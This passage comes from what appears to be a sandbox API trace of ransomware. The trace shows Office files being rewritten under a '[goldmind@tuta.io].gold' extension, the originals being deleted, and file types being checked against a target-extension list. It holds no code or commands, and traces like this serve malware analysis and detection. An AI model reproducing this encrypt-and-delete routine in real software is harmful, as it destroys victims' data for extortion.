dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0102.185] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.185] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0102.186] GetLastError () returned 0x0 [0102.186] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x51d, lpOverlapped=0x0) returned 1 [0102.243] WriteFile (in: hFile=0x198, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x520, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x520, lpOverlapped=0x0) returned 1 [0102.243] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.243] WriteFile (in: hFile=0x198, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.244] SetEndOfFile (hFile=0x198) returned 1 [0102.244] CloseHandle (hObject=0x198) returned 1 [0102.244] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.244] SetEndOfFile (hFile=0x3bc) returned 1 [0102.246] CloseHandle (hObject=0x3bc) returned 1 [0102.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd")) returned 1 [0102.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0102.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0102.247] lstrlenW (lpString=".doc") returned 4 [0102.247] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0102.247] lstrlenW (lpString=".docx") returned 5 [0102.247] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0102.247] lstrlenW (lpString=".pdf") returned 4 [0102.247] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0102.247] lstrlenW (lpString=".xls") returned 4 [0102.247] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0102.247] lstrlenW (lpString=".xlsx") returned 5 [0102.247] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0102.247] lstrlenW (lpString=".ppt") returned 4 [0102.247] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0102.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0102.247] lstrlenW (lpString=".zip") returned 4 [0102.247] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0102.247] lstrlenW (lpString=".rar") returned 4 [0102.247] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0102.247] lstrlenW (lpString=".bz2") returned 4 [0102.247] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0102.247] lstrlenW (lpString=".7z") returned 3 [0102.247] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0102.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0102.247] lstrlenW (lpString=".dbf") returned 4 [0102.247] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0102.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0102.247] lstrlenW (lpString=".1cd") returned 4 [0102.247] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0102.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0102.247] lstrlenW (lpString=".jpg") returned 4 [0102.247] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0102.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0102.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0102.247] lstrlenW (lpString=".doc") returned 4 [0102.247] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0102.247] lstrlenW (lpString=".docx") returned 5 [0102.247] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0102.247] lstrlenW (lpString=".pdf") returned 4 [0102.247] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0102.247] lstrlenW (lpString=".xls") returned 4 [0102.248] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0102.248] lstrlenW (lpString=".xlsx") returned 5 [0102.248] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0102.248] lstrlenW (lpString=".ppt") returned 4 [0102.248] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0102.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0102.248] lstrlenW (lpString=".zip") returned 4 [0102.248] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0102.248] lstrlenW (lpString=".rar") returned 4 [0102.248] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0102.248] lstrlenW (lpString=".bz2") returned 4 [0102.248] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0102.248] lstrlenW (lpString=".7z") returned 3 [0102.248] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0102.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0102.248] lstrlenW (lpString=".dbf") returned 4 [0102.248] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0102.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0102.248] lstrlenW (lpString=".1cd") returned 4 [0102.248] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0102.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0102.248] lstrlenW (lpString=".jpg") returned 4 [0102.248] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0102.248] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0102.248] lstrlenW (lpString="INFINTL.DLL") returned 11 [0102.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0102.249] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=481168) returned 1 [0102.249] CloseHandle (hObject=0x3bc) returned 1 [0102.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infintl.dll")) returned 0x20 [0102.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infintl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0102.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0102.250] lstrlenW (lpString=".doc") returned 4 [0102.250] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0102.250] lstrlenW (lpString=".docx") returned 5 [0102.250] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0102.250] lstrlenW (lpString=".pdf") returned 4 [0102.250] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0102.250] lstrlenW (lpString=".xls") returned 4 [0102.250] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0102.250] lstrlenW (lpString=".xlsx") returned 5 [0102.250] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0102.250] lstrlenW (lpString=".ppt") returned 4 [0102.250] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0102.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0102.250] lstrlenW (lpString=".zip") returned 4 [0102.250] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0102.250] lstrlenW (lpString=".rar") returned 4 [0102.250] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0102.250] lstrlenW (lpString=".bz2") returned 4 [0102.250] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0102.250] lstrlenW (lpString=".7z") returned 3 [0102.250] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0102.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0102.250] lstrlenW (lpString=".dbf") returned 4 [0102.250] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0102.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0102.250] lstrlenW (lpString=".1cd") returned 4 [0102.250] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0102.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0102.250] lstrlenW (lpString=".jpg") returned 4 [0102.250] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0102.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0102.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0102.250] lstrlenW (lpString=".doc") returned 4 [0102.250] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0102.251] lstrlenW (lpString=".docx") returned 5 [0102.251] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0102.251] lstrlenW (lpString=".pdf") returned 4 [0102.251] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0102.251] lstrlenW (lpString=".xls") returned 4 [0102.251] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0102.251] lstrlenW (lpString=".xlsx") returned 5 [0102.251] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0102.251] lstrlenW (lpString=".ppt") returned 4 [0102.251] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0102.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0102.251] lstrlenW (lpString=".zip") returned 4 [0102.251] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0102.251] lstrlenW (lpString=".rar") returned 4 [0102.251] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0102.251] lstrlenW (lpString=".bz2") returned 4 [0102.251] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0102.251] lstrlenW (lpString=".7z") returned 3 [0102.251] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0102.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0102.251] lstrlenW (lpString=".dbf") returned 4 [0102.251] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0102.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0102.251] lstrlenW (lpString=".1cd") returned 4 [0102.251] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0102.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0102.251] lstrlenW (lpString=".jpg") returned 4 [0102.251] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0102.251] lstrcmpiW (lpString1=".HXS", lpString2=".gold") returned 1 [0102.251] lstrlenW (lpString="INFOPATH.HXS") returned 12 [0102.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0102.252] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1527046) returned 1 [0102.252] CloseHandle (hObject=0x3bc) returned 1 [0102.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs")) returned 0x20 [0102.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0102.252] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.252] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0102.253] GetLastError () returned 0x0 [0102.253] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0102.276] WriteFile (in: hFile=0x198, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0102.289] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x74d16, lpOverlapped=0x0) returned 1 [0102.838] WriteFile (in: hFile=0x198, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x74d20, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x74d20, lpOverlapped=0x0) returned 1 [0102.846] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.846] WriteFile (in: hFile=0x198, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.846] SetEndOfFile (hFile=0x198) returned 1 [0102.846] CloseHandle (hObject=0x198) returned 1 [0102.846] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.846] SetEndOfFile (hFile=0x3bc) returned 1 [0102.871] CloseHandle (hObject=0x3bc) returned 1 [0102.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs")) returned 1 [0102.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0102.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0102.872] lstrlenW (lpString=".doc") returned 4 [0102.872] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0102.872] lstrlenW (lpString=".docx") returned 5 [0102.872] lstrcmpiW (lpString1=".docx", lpString2="H.HXS") returned -1 [0102.872] lstrlenW (lpString=".pdf") returned 4 [0102.873] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0102.873] lstrlenW (lpString=".xls") returned 4 [0102.873] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0102.873] lstrlenW (lpString=".xlsx") returned 5 [0102.873] lstrcmpiW (lpString1=".xlsx", lpString2="H.HXS") returned -1 [0102.873] lstrlenW (lpString=".ppt") returned 4 [0102.873] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0102.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0102.873] lstrlenW (lpString=".zip") returned 4 [0102.873] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0102.873] lstrlenW (lpString=".rar") returned 4 [0102.873] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0102.873] lstrlenW (lpString=".bz2") returned 4 [0102.873] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0102.873] lstrlenW (lpString=".7z") returned 3 [0102.873] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0102.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0102.873] lstrlenW (lpString=".dbf") returned 4 [0102.873] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0102.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0102.873] lstrlenW (lpString=".1cd") returned 4 [0102.873] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0102.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0102.873] lstrlenW (lpString=".jpg") returned 4 [0102.873] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0102.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0102.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0102.873] lstrlenW (lpString=".doc") returned 4 [0102.873] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0102.873] lstrlenW (lpString=".docx") returned 5 [0102.873] lstrcmpiW (lpString1=".docx", lpString2="H.HXS") returned -1 [0102.873] lstrlenW (lpString=".pdf") returned 4 [0102.873] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0102.873] lstrlenW (lpString=".xls") returned 4 [0102.873] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0102.873] lstrlenW (lpString=".xlsx") returned 5 [0102.873] lstrcmpiW (lpString1=".xlsx", lpString2="H.HXS") returned -1 [0102.873] lstrlenW (lpString=".ppt") returned 4 [0102.873] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0102.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0102.873] lstrlenW (lpString=".zip") returned 4 [0102.873] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0102.873] lstrlenW (lpString=".rar") returned 4 [0102.873] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0102.873] lstrlenW (lpString=".bz2") returned 4 [0102.873] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0102.873] lstrlenW (lpString=".7z") returned 3 [0102.873] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0102.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0102.874] lstrlenW (lpString=".dbf") returned 4 [0102.874] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0102.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0102.874] lstrlenW (lpString=".1cd") returned 4 [0102.874] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0102.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0102.874] lstrlenW (lpString=".jpg") returned 4 [0102.874] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0102.874] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0102.874] lstrlenW (lpString="INFOPATHEDITOR_F_COL.HXK") returned 24 [0102.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0102.878] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=114) returned 1 [0102.878] CloseHandle (hObject=0x38c) returned 1 [0102.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk")) returned 0x20 [0102.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0102.879] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.879] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.880] GetLastError () returned 0x0 [0102.880] ReadFile (in: hFile=0x38c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x72, lpOverlapped=0x0) returned 1 [0102.880] WriteFile (in: hFile=0x398, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x80, lpOverlapped=0x0) returned 1 [0102.881] ReadFile (in: hFile=0x38c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.881] WriteFile (in: hFile=0x398, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x104, lpOverlapped=0x0) returned 1 [0102.881] SetEndOfFile (hFile=0x398) returned 1 [0102.881] CloseHandle (hObject=0x398) returned 1 [0102.881] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.881] SetEndOfFile (hFile=0x38c) returned 1 [0102.883] CloseHandle (hObject=0x38c) returned 1 [0102.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.883] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk")) returned 1 [0102.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0102.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0102.884] lstrlenW (lpString=".doc") returned 4 [0102.884] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0102.884] lstrlenW (lpString=".docx") returned 5 [0102.884] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0102.884] lstrlenW (lpString=".pdf") returned 4 [0102.884] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0102.884] lstrlenW (lpString=".xls") 